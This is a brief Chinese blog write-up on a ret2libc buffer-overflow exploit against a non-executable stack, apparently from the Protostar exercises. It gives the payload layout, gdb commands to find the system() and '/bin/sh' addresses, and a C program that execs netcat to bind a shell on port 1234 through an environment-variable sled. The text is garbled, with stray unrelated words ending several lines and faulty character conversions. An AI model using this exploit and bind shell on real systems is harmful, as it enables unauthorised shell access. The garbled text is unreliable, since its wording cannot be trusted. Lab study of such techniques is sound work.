ret2libc能夠繞過堆棧不能執行。利用時棧以下:php
'A'*offset+"system函數地址"+"函數返回值(這個隨便寫)"+"函數參數"
git
0x1:怎麼獲得函數地址和字符串地址github
關閉了ASLR後,一些地址是固定的 獲得函數地址 <p system 獲得字符串地址 環境變量 <find startAdress,endAdress,"/bin/sh" 或者用程序來找
0x2:函數地址和字符串地址都搞定了,仍是執行不了shell
和前面的一篇博文說的同樣,仍是gets函數的問題.函數
把這個/bin/sh換成whoami就有結果了ui
0x3:執行本身的程序code
//gcc test.c -o test int main() { execl("/bin/nc","nc","-c","/bin/sh","-l","-p","1234",0); }
export HACK=////////////////////`pwd`/testblog
/的做用至關於NOP滑翔區,由於./getenv HACK獲得的那個字符串地址老是有點誤差.字符串
接着用nc鏈接1234端口,獲得一個shell
get
link:
http://blog.163.com/tod_zhang/blog/static/1025522142013102105744790/
http://louisrli.github.io/blog/2012/08/28/protostar-stack2/